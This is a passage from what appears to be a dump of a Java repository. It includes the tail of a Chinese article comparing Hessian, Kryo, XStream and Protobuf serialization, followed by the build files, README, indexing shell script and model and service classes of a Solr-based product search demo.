person.setUsername(\"idea\");\n            person.setTel(\"99562352\");\n            ByteArrayOutputStream os = new ByteArrayOutputStream();\n            HessianOutput ho = new HessianOutput(os);\n            ho.writeObject(person);\n            byte[] userByte = os.toByteArray();\n            ByteArrayInputStream is = new ByteArrayInputStream(userByte);\n            //Hessian的反序列化读取对象\n            HessianInput hi = new HessianInput(is);\n            Person newPerson = (Person) hi.readObject();\n        }\n        long end = System.currentTimeMillis();\n        System.out.println(\"耗时：\" + (end - begin));\n    }\n}\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n \n\nHessian的源码里面，核心主要还是com.caucho.hessian.io里面的代码，AbstractSerializer是Hessian里面的核心序列化类，当我们仔细查看源码的时候就会发现hessian提供了许多种序列化和反序列化的类进行不同类型数据的处理。（我使用的是hessian4.0，因此相应的类会多很多）\n\n![序列化框架的选型和比对](https://www.javazhiyin.com/wp-content/uploads/2019/08/java3-1566180549.jpg)\n\n\n在SerializerFactory里面有getSerializer和getDefaultSerializer的函数，专门用于提取这些序列化和反序列化的工具类，这样可以避免在使用该工具类的时候又要重新实例化，这些工具类都会被存储到不同的ConcurrentHashMap里面去。\n\n \n\n![序列化框架的选型和比对](https://www.javazhiyin.com/wp-content/uploads/2019/08/java1-1566180549.png)\n\n\n*ps：对于hessian3.0时候的Serializer/Derializer实现功能没有考虑到对于异常信息进行序列化处理，因此如果遇到相应问题的朋友可以考虑将hessian的版本提升到3.1.5以上。*\n\n## Kryo序列化技术\n\nKryo是一种非常成熟的序列化实现，已经在Twitter、Groupon、 Yahoo以及多个著名开源项目（如Hive、Storm）中广泛的使用，它的性能在各个方面都比hessian2要优秀些，因此dubbo后期也开始渐渐引入了使用Kryo进行序列化的方式。\n\n对于kryo的使用，我们来看看相应代码：\n\n首先我们引入相应的依赖：\n\n```\n    <dependency>\n            <groupId>com.esotericsoftware</groupId>\n            <artifactId>kryo-shaded</artifactId>\n            <version>3.0.3</version>\n        </dependency>\n```\n\n \n\n然后就是基础的序列化和反序列化代码操作了\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\npackage com.sise.test.kryo;\n\nimport com.esotericsoftware.kryo.Kryo;\nimport com.esotericsoftware.kryo.io.Input;\nimport com.esotericsoftware.kryo.io.Output;\nimport com.sise.test.Person;\n\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\n\n/**\n * @author idea\n * @date 2019/8/15\n * @Version V1.0\n */\npublic class KryoTest {\n\n    public static void main(String[] args) throws FileNotFoundException {\n        Kryo kryo=new Kryo();\n        Output output = new Output(new FileOutputStream(\"person.txt\"));\n        Person person=new Person();\n        person.setId(1);\n        person.setUsername(\"idea\");\n        kryo.writeObject(output, person);\n        output.close();\n        Input input = new Input(new FileInputStream(\"person.txt\"));\n        Person person1 = kryo.readObject(input, Person.class);\n        input.close();\n        System.out.println(person1.toString());\n        assert \"idea\".equals(person1.getUsername());\n    }\n}\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n \n\nps：*这里我们需要注意，Kryo不支持没有无参构造函数的对象进行反序列化，因此如果某个对象希望使用Kryo来进行序列化操作的话，需要有相应的无参构造函数才可以。*\n\n由于Kryo不是线程安全，因此当我们希望使用Kryo构建的工具类时候，需要在实例化的时候注意线程安全的问题。代码案例：\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\npackage com.sise.test.kryo;\n\nimport com.esotericsoftware.kryo.Kryo;\nimport com.esotericsoftware.kryo.io.Input;\nimport com.esotericsoftware.kryo.io.Output;\nimport com.sise.test.Person;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\n\n/**\n * @author idea\n * @data 2019/8/17\n */\npublic class KryoUtils {\n\n\n    public byte[] serialize(Object obj){\n        Kryo kryo = kryos.get();\n        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();\n        Output output = new Output(byteArrayOutputStream);\n        kryo.writeClassAndObject(output, obj);\n        output.close();\n        return byteArrayOutputStream.toByteArray();\n    }\n\n    public <T> T deserialize(byte[] bytes) {\n        Kryo kryo = kryos.get();\n        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);\n        Input input = new Input(byteArrayInputStream);\n        input.close();\n        return (T) kryo.readClassAndObject(input);\n    }\n\n\n    private static final ThreadLocal<Kryo> kryos=new ThreadLocal<Kryo>(){\n        @Override\n        protected Kryo initialValue(){\n            Kryo kryo=new Kryo();\n            return kryo;\n        }\n\n    };\n\n\n    public static void main(String[] args) {\n        KryoUtils kryoUtils=new KryoUtils();\n        for(int i=0;i<1000;i++){\n            Person person=new Person(1,\"idea\");\n            byte[] bytes=kryoUtils.serialize(person);\n            Person newPerson=kryoUtils.deserialize(bytes);\n            System.out.println(newPerson.toString());\n        }\n    }\n}\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n \n\n## XStream实现对象的序列化\n\n在使用XStream进行序列化技术的实现过程中，类中的字符串组成了 XML 中的元素内容，而且该对象还不需要实现 Serializable 接口。XStream不关心被序列化/反序列化的类字段的可见性，该对象也不需要有getter/setter方法和默认的构造函数。\n\n引入的依赖：\n\n```\n<dependency>\n            <groupId>com.thoughtworks.xstream</groupId>\n            <artifactId>xstream</artifactId>\n            <version>1.4.9</version>\n        </dependency>\n```\n\n \n\n通过使用XStream来对对象进行序列化和反序列化操作：\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n```\npackage com.sise.test.xstream;\n\n\nimport com.sise.test.Person;\nimport com.thoughtworks.xstream.XStream;\nimport com.thoughtworks.xstream.io.xml.DomDriver;\n\n/**\n * @author idea\n * @date 2019/8/15\n * @Version V1.0\n */\npublic class XStreamTest {\n\n\n    private static XStream xStream;\n\n    static {\n        xStream = new XStream(new DomDriver());\n        /*\n         * 使用xStream.alias(String name, Class Type)为任何一个自定义类创建到类到元素的别名\n         * 如果不使用别名，则生成的标签名为类全名\n         */\n        xStream.alias(\"person\", Person.class);\n    }\n\n    //xml转java对象\n    public static Object xmlToBean(String xml) {\n        return xStream.fromXML(xml);\n    }\n\n    //java对象转xml\n    public static String beanToXml(Object obj) {\n        return \"<?xml version=\"1.0\" encoding=\"UTF-8\"?>n\" + xStream.toXML(obj);\n    }\n\n    /**\n     *\n     * @param args\n     */\n    public static void main(String[] args) {\n        long begin = System.currentTimeMillis();\n        for (int i = 0; i < 2000; i++) {\n            Person person = new Person();\n            person.setId(1);\n            person.setUsername(\"idea\");\n            String xml = XStreamTest.beanToXml(person);\n            Person newPerson = (Person) XStreamTest.xmlToBean(xml);\n        }\n        long end = System.currentTimeMillis();\n        System.out.println(\"耗时：\" + (end - begin));\n    }\n}\n```\n\n[![复制代码](https://common.cnblogs.com/images/copycode.gif)](javascript:void(0);)\n\n \n\n## google的Protobuf\n\ngoogle protobuf是一个灵活的、高效的用于序列化数据的协议。相比较XML和JSON格式，protobuf更小、更快、更便捷。google protobuf是跨语言的，并且自带了一个编译器(protoc)，只需要用它进行编译，可以编译成Java、python、C++、C#、Go等代码，然后就可以直接使用，不需要再写其他代码，自带有解析的代码。\nprotobuf相对于kryo来说具有更加高效的性能和灵活性，能够在实际使用中，当对象序列化之后新增了字段，在反序列化出来的时候依旧可以正常使用。（这一点kryo无法支持）\n\n## 不同序列化框架的总结\n\n![序列化框架的选型和比对](https://www.javazhiyin.com/wp-content/uploads/2019/08/java7-1566180549.png)\n\n目前已有的序列化框架还有很多在文中没有提到，日后假若在开发中遇到的时候可以适当的进行归纳总结，比对各种不同的序列化框架之间的特点。"
  },
  {
    "path": "jun_java_plugins/jun_shiro/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n  <artifactId>jun_shiro</artifactId>\n    <version>1.0</version>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_shiro/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://java.sun.com/xml/ns/javaee\" xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\" id=\"WebApp_ID\" version=\"3.0\">\n  <display-name>jun_plugin_demo</display-name>\n  <welcome-file-list>\n    <welcome-file>index.html</welcome-file>\n    <welcome-file>index.htm</welcome-file>\n    <welcome-file>index.jsp</welcome-file>\n    <welcome-file>default.html</welcome-file>\n    <welcome-file>default.htm</welcome-file>\n    <welcome-file>default.jsp</welcome-file>\n  </welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_solr/.gitignore",
    "content": "*.class\n\n# Mobile Tools for Java (J2ME)\n.mtj.tmp/\n\n# Package Files #\n*.jar\n*.war\n*.ear\n\n# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml\nhs_err_pid*\n\n# Ignore all logfiles and tempfiles.\n.project\n/*/.project\n\n.classpath\n/*/.classpath\n\n.settings\n/*/.settings\n/*/.settings/*\n\ntarget\n/*/target\n/*/target/*\n\n.DS_Store\n\n.svn\n.svn/*\n\n.idea\n.idea/*\n\nThumbs.db\n\n*.log\n*.out\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/.keep",
    "content": ""
  },
  {
    "path": "jun_java_plugins/jun_solr/README.md",
    "content": "jun_solr\n==================\n\n基于Solr的搜索系统\n\n\n一、前置项目依赖\n\nhttps://github.com/pumadong/cl-commodity\n\nSolr官网：http://lucene.apache.org/solr/\n\n二、项目说明\n\n简单演示对商品信息的全量索引建立、主从配置以及搜索的Dubbo接口提供。\n\n对Solr做了入门型的说明，基本满足基于Solr的搜索的日常应用，对于更多Solr的参数设置，深入研究需要在实践中不断总结进步。\n\nSolr版本4.9.0，关于Solr4.9.0的入门级使用，基本配置、中文分词、主从配置，可以参阅这篇文章：\n\nhttp://blog.csdn.net/puma_dong/article/details/38880699\n\n关于索引，基本内容大致包含如下：商品（编码，款号、名称、价格、尺码编号、尺码名称、颜色、价格、折扣、图片链接、销量）、分类（名称、别名、编码、拼音名称）、品牌（编码、中英文名称、别名、拼音名称、首字母拼音名称）、商品的属性项目（属性值），以及一些用来排序的信息：销量、价格、折扣等。对于品牌分类等，需要同时记录英文名称。 \n\n索引还需要一些管理控制功能，比如脏词屏蔽、扩展词库等；为了提高建立索引的效率，可能还需要对一些中间结果进行计算，比如：商品的2周销售数量。\n\n注：关于分类的别名、品牌的别名之类，不建议在搜索系统中单独为，建议提需求给商品管理系统。\n\n本项目仅仅是演示的雏形，流程是可用的，单没有完整的信息完整的索引创建、索引接口、及管理控制功能，这个留待以后是否有足够的业余时间。\n\n索引建立的运行方式如下：\n\ncrontab: */10 * * * * /usr/local/cl/create_index.sh &\n\n三、技术框架\n\n在索引建立项目中，没有使用任何框架，使用最基础的JDK编码，定时任务方式采用crontab，任务流程控制采用linux shell命令。\n\n索引查询接口项目中，依旧是采用dubbo提供接口。 "
  },
  {
    "path": "jun_java_plugins/jun_solr/create_index.sh",
    "content": "path=/usr/local/cl/search\ntempfile=/usr/local/cl/search/tmp.txt\nlog=/usr/local/cl/search/createIndex.log\n\nexport JAVA_HOME=/usr/local/java/jdk1.7.0_45\nexport CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar\nexport PATH=$PATH:$JAVA_HOME/bin\n\nexport LC_ALL=zh_CN.UTF-8\n\ndate >> \"$log\"\n\nif [ -f \"$tempfile\" ]; then\n        echo '索引正在生成，尚未完成' >> \"$log\"\n        echo '' >> \"$log\"\nelse\n        echo '索引准备生成 ' >> \"$log\"\n        echo '' >> \"$log\"\n        touch \"$tempfile\"\n        cd \"$path\"\n\n        CLASSPATH=.\n\n        for f in ./*.jar; do\n                CLASSPATH=${CLASSPATH}:$f;\n        done\n\n        for f in lib/*.jar; do\n                CLASSPATH=${CLASSPATH}:$f;\n        done\n\n        echo '索引开始生成......' >> \"$log\"\n        echo '' >> \"$log\"\n        java -Xms1024m -Xmx4096m -classpath $CLASSPATH com.cl.search.CreateIndex >> \"$log\"\n        sleep 10\n        rm \"$tempfile\"\n        echo '索引生成完毕' >> \"$log\"\n        echo '' >> \"$log\"\nfi"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_solr_api</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>8</source> <!-- 对应你的JDK版本 -->\n                    <target>8</target>\n                    <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api/src/main/java/com/jun/plugin/solr/api/ISearchBaseApiService.java",
    "content": "package com.jun.plugin.solr.api;\n\nimport com.jun.plugin.solr.model.SearchModel;\nimport com.jun.plugin.solr.model.SearchResult;\n\npublic interface ISearchBaseApiService {\n\n\tSearchResult getWebSearchResult(SearchModel searchModel);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api/src/main/java/com/jun/plugin/solr/model/Commodity.java",
    "content": "package com.jun.plugin.solr.model;\n\nimport java.io.Serializable;\n\npublic class Commodity implements Serializable {\n\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1L;\n\t\n\tprivate String no;\n\tprivate Integer brandId;\n\tprivate String name;\n\tprivate String styleNo;\n\tprivate Integer salePrice;\n\t\n\tpublic String getNo() {\n\t\treturn no;\n\t}\n\tpublic void setNo(String no) {\n\t\tthis.no = no;\n\t}\n\tpublic Integer getBrandId() {\n\t\treturn brandId;\n\t}\n\tpublic void setBrandId(Integer brandId) {\n\t\tthis.brandId = brandId;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic String getStyleNo() {\n\t\treturn styleNo;\n\t}\n\tpublic void setStyleNo(String styleNo) {\n\t\tthis.styleNo = styleNo;\n\t}\n\tpublic Integer getSalePrice() {\n\t\treturn salePrice;\n\t}\n\tpublic void setSalePrice(Integer salePrice) {\n\t\tthis.salePrice = salePrice;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api/src/main/java/com/jun/plugin/solr/model/FacetItem.java",
    "content": "package com.jun.plugin.solr.model;\n\nimport java.io.Serializable;\nimport java.util.List;\n\npublic class FacetItem implements Serializable {\n\n\tprivate static final long serialVersionUID = 1L;\n\n\tprivate String id;\n\tprivate String name;\n\tprivate Integer valueCount;\n\tprivate List<FacetValue> valueList;\n\t\n\tpublic String getId() {\n\t\treturn id;\n\t}\n\tpublic void setId(String id) {\n\t\tthis.id = id;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic Integer getValueCount() {\n\t\treturn valueCount;\n\t}\n\tpublic void setValueCount(Integer valueCount) {\n\t\tthis.valueCount = valueCount;\n\t}\n\tpublic List<FacetValue> getValueList() {\n\t\treturn valueList;\n\t}\n\tpublic void setValueList(List<FacetValue> valueList) {\n\t\tthis.valueList = valueList;\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api/src/main/java/com/jun/plugin/solr/model/FacetValue.java",
    "content": "package com.jun.plugin.solr.model;\n\nimport java.io.Serializable;\n\npublic class FacetValue implements Serializable {\n\n\tprivate static final long serialVersionUID = 1L;\n\n\tprivate String id;\n\tprivate String name;\n\tprivate Integer count;\n\t\n\tpublic String getId() {\n\t\treturn id;\n\t}\n\tpublic void setId(String id) {\n\t\tthis.id = id;\n\t}\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\tpublic Integer getCount() {\n\t\treturn count;\n\t}\n\tpublic void setCount(Integer count) {\n\t\tthis.count = count;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api/src/main/java/com/jun/plugin/solr/model/ResultType.java",
    "content": "package com.jun.plugin.solr.model;\n\npublic enum ResultType {\n\t\n\tEMPYTY(0),\t\t\t//无结果\n\tNORMAL(1),\t\t\t//正常\n\tPINYIN(2),\t\t\t//关键字拼音查询\n\tANALYZER(3);\t\t//关键字中文分词查询\n\n\tprivate int type;\n\n\tprivate ResultType(int type){\n\t\tthis.type = type;\n\t}\n\t\n\tpublic int getResultType(){\n\t\treturn type;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api/src/main/java/com/jun/plugin/solr/model/SearchModel.java",
    "content": "package com.jun.plugin.solr.model;\n\nimport java.io.Serializable;\n\npublic class SearchModel implements Serializable {\n\n\tprivate static final long serialVersionUID = 1L;\n\t\n\tprivate Integer pageNo;\n\tprivate String keyword;\n\tprivate Integer brandId;\t\n\n\tpublic Integer getPageNo() {\n\t\treturn pageNo;\n\t}\n\n\tpublic void setPageNo(Integer pageNo) {\n\t\tthis.pageNo = pageNo;\n\t}\n\n\tpublic String getKeyword() {\n\t\treturn keyword;\n\t}\n\n\tpublic void setKeyword(String keyword) {\n\t\tthis.keyword = keyword;\n\t}\n\n\tpublic Integer getBrandId() {\n\t\treturn brandId;\n\t}\n\n\tpublic void setBrandId(Integer brandId) {\n\t\tthis.brandId = brandId;\n\t}\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api/src/main/java/com/jun/plugin/solr/model/SearchResult.java",
    "content": "package com.jun.plugin.solr.model;\n\nimport java.io.Serializable;\nimport java.util.List;\nimport java.util.Map;\n\npublic class SearchResult implements Serializable {\n\n\tprivate static final long serialVersionUID = 1L;\n\n\tprivate ResultType resultType;\n\tprivate List<Commodity> commodityList;\t//正常查询时的结果\n\tprivate Map<String,List<Commodity>> commodityMap;\t//分词查询时的结果\n\tprivate List<FacetItem> facetItemList;\t//对于有多条件过滤的搜索页面需要的Facet内容\n\t\n\tpublic ResultType getResultType() {\n\t\treturn resultType;\n\t}\n\tpublic void setResultType(ResultType resultType) {\n\t\tthis.resultType = resultType;\n\t}\n\tpublic List<Commodity> getCommodityList() {\n\t\treturn commodityList;\n\t}\n\tpublic void setCommodityList(List<Commodity> commodityList) {\n\t\tthis.commodityList = commodityList;\n\t}\n\tpublic Map<String, List<Commodity>> getCommodityMap() {\n\t\treturn commodityMap;\n\t}\n\tpublic void setCommodityMap(Map<String, List<Commodity>> commodityMap) {\n\t\tthis.commodityMap = commodityMap;\n\t}\n\tpublic List<FacetItem> getFacetItemList() {\n\t\treturn facetItemList;\n\t}\n\tpublic void setFacetItemList(List<FacetItem> facetItemList) {\n\t\tthis.facetItemList = facetItemList;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_solr_api_server</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\t\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<spring.version>4.0.6.RELEASE</spring.version>\n\t</properties>\n  \n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>io.github.wujun728</groupId>\n\t\t\t<artifactId>jun_solr_api</artifactId>\n\t\t\t<version>1.0</version>\n\t\t</dependency>\n\t\t<!-- CAS Client -->\n\t\t<dependency>\n\t\t\t<groupId>org.jasig.cas.client</groupId>\n\t\t\t<artifactId>cas-client-core</artifactId>\n\t\t\t<version>3.2.2</version>\n\t\t</dependency>\n\t    <dependency>\n\t\t\t<groupId>org.apache.solr</groupId>\n\t\t\t<artifactId>solr-core</artifactId>\n\t\t\t<version>4.3.1</version>\n\t\t\t<exclusions>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>commons-io</groupId>\n\t\t\t\t\t<artifactId>commons-io</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t</exclusions>\n\t    </dependency>\n\t\t<!-- <dependency>\n\t\t\t<groupId>com.hp</groupId>\n\t\t\t<artifactId>pinyin4j</artifactId>\n\t\t\t<version>2.5.0</version>\n\t\t</dependency> -->\n\t\t<!-- logging -->\n\t\t<dependency>\n\t\t\t<groupId>log4j</groupId>\n\t\t\t<artifactId>log4j</artifactId>\n\t\t\t<version>1.2.16</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.6.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t<version>1.6.1</version>\n\t\t</dependency>\n\t\t<!-- Spring framework -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-core</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-beans</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context-support</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-web</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-webmvc</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-aspects</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-jdbc</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n            <groupId>org.springframework.data</groupId>\n            <artifactId>spring-data-redis</artifactId>\n            <version>1.3.1.RELEASE</version>\n        </dependency>\n  \t\t<!--alibaba-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>dubbo</artifactId>\n            <version>2.5.3</version>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework</groupId>\n                    <artifactId>spring</artifactId>\n                </exclusion>\n                <exclusion>\n                    <artifactId>netty</artifactId>\n                    <groupId>org.jboss.netty</groupId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>com.github.sgroschupf</groupId>\n            <artifactId>zkclient</artifactId>\n            <version>0.1</version>\n        </dependency>\n         <!--hessian 用于跨语言支持-->\n        <dependency>\n            <groupId>com.caucho</groupId>\n            <artifactId>hessian</artifactId>\n            <version>4.0.7</version>\n        </dependency>\n        <!-- 开发阶段使用，生产环节容器提供 -->\n        <dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<scope>test</scope>\n\t\t\t<version>5.1.14</version>\n\t\t</dependency>\n\t\t<!-- MyBatis -->\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis</groupId>\n\t\t\t<artifactId>mybatis</artifactId>\n\t\t\t<version>3.2.3</version>\n\t\t</dependency>            \n\t\t<dependency>\n\t\t\t<groupId>org.mybatis</groupId>\n\t\t\t<artifactId>mybatis-spring</artifactId>\n\t\t\t<version>1.2.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.belerweb</groupId>\n\t\t\t<artifactId>pinyin4j</artifactId>\n\t\t\t<version>2.5.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.twelvemonkeys.common</groupId>\n\t\t\t<artifactId>common-io</artifactId>\n\t\t\t<version>3.4.1</version>\n\t\t</dependency>\n\t</dependencies>      \n</project>"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_api_server/src/main/java/com/jun/plugin/solr/api/impl/SearchBaseApiServiceImpl.java",
    "content": "package com.jun.plugin.solr.api.impl;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.apache.commons.lang.StringUtils;\nimport org.apache.solr.client.solrj.SolrQuery;\nimport org.apache.solr.client.solrj.SolrServerException;\nimport org.apache.solr.client.solrj.impl.HttpSolrServer;\nimport org.apache.solr.client.solrj.response.FacetField;\nimport org.apache.solr.client.solrj.response.FacetField.Count;\nimport org.apache.solr.client.solrj.response.QueryResponse;\nimport org.apache.solr.common.SolrDocument;\nimport org.apache.solr.common.SolrDocumentList;\nimport org.apache.solr.common.params.FacetParams;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport com.jun.plugin.solr.api.ISearchBaseApiService;\nimport com.jun.plugin.solr.model.Commodity;\nimport com.jun.plugin.solr.model.FacetItem;\nimport com.jun.plugin.solr.model.FacetValue;\nimport com.jun.plugin.solr.model.ResultType;\nimport com.jun.plugin.solr.model.SearchModel;\nimport com.jun.plugin.solr.model.SearchResult;\nimport com.jun.plugin.solr.utils.ConstantUtil;\nimport com.jun.plugin.solr.utils.PinyinUtil;\nimport com.jun.plugin.solr.utils.SolrUtil;\n\n@Service\npublic class SearchBaseApiServiceImpl implements ISearchBaseApiService {\n\n\t@Autowired\n\tprivate SolrUtil solrUtil;\n\t\n\t@Override\n\tpublic SearchResult getWebSearchResult(SearchModel searchModel) {\n\n\t\tinitSearchModel(searchModel);\n\t\t\n\t\tSearchResult sr = null;\n\t\t\n\t\tSolrQuery solrQuery = new SolrQuery();\n\t\tsetF1(solrQuery);\t//设置返回列\n\t\tsetPage(solrQuery,searchModel);\t//设置分页\n\t\tsetFacet(solrQuery);\t//设置Facet，如果页面不需要Facet，则不查询，这个查询会更耗时\n\t\tsetOrderBy(solrQuery);\t//设置结果排序\n\t\t\n\t\tsolrQuery.setQuery(searchModel.getKeyword());\n\t\tsetFilter(solrQuery,searchModel);\n\n\t\tsr = search(solrQuery,ResultType.NORMAL);\n\t\tif(sr!=null)\treturn sr;\n\t\t\n\t\t//如果没有结果，按照拼音查询一次\n\t\tsolrQuery.setQuery(PinyinUtil.getPingYin(searchModel.getKeyword()));\n\t\tsr = search(solrQuery,ResultType.PINYIN);\n\t\tif(sr!=null)\treturn sr;\n\t\t\n\t\t//如果还没有结果，按照分词后的查询一次\n\t\t\n\t\t//如果还没有结果，返回null\t\t\n\t\treturn null;\n\t}\n\n\tprivate void initSearchModel(SearchModel searchModel)\n\t{\n\t\tif(StringUtils.isEmpty(searchModel.getKeyword())) searchModel.setKeyword(\"*\");\n\t\tif(searchModel.getPageNo()==null) searchModel.setPageNo(1);\n\t}\n\tprivate void setF1(SolrQuery solrQuery)\n\t{\n\t\tsolrQuery.setParam(\"fl\", \"no,name,style_no,sale_price,brand_id\");\n\t}\n\tprivate void setPage(SolrQuery solrQuery,SearchModel searchModel)\n\t{\t\t\n\t\tsolrQuery.setStart((searchModel.getPageNo()-1)*ConstantUtil.PageSize);\n\t\tsolrQuery.setRows(ConstantUtil.PageSize);\n\t}\n\tprivate void setFacet(SolrQuery solrQuery)\n\t{\n\t\tString[] ff = new String[2];\n\t\tff[0] = \"style_no\";\n\t\tff[1] = \"brand_id\";\n\t\t\n\t\tsolrQuery.setFacet(true);\n\t\tsolrQuery.addFacetField(ff);\n\t\tsolrQuery.setFacetLimit(-1);\n\t\tsolrQuery.setFacetSort(FacetParams.FACET_SORT_COUNT );\n\t\tsolrQuery.setFacetMinCount(1);\n\t}\n\tprivate void setFilter(SolrQuery solrQuery,SearchModel searchModel)\n\t{\n\t\tsolrQuery.addFilterQuery(\"brand_id:\" + \"(1)\");\n\t}\n\tprivate void setOrderBy(SolrQuery solrQuery)\n\t{\n\t\tsolrQuery.setParam(\"sort\", \"no desc\");\n\t}\n\tprivate List<Commodity> getCommodityList(SolrDocumentList sdList)\n\t{\n\t\tList<Commodity> commodityList = new ArrayList<Commodity>();\n\t\tfor(SolrDocument sd : sdList)\n\t\t{\n\t\t\tCommodity c = new 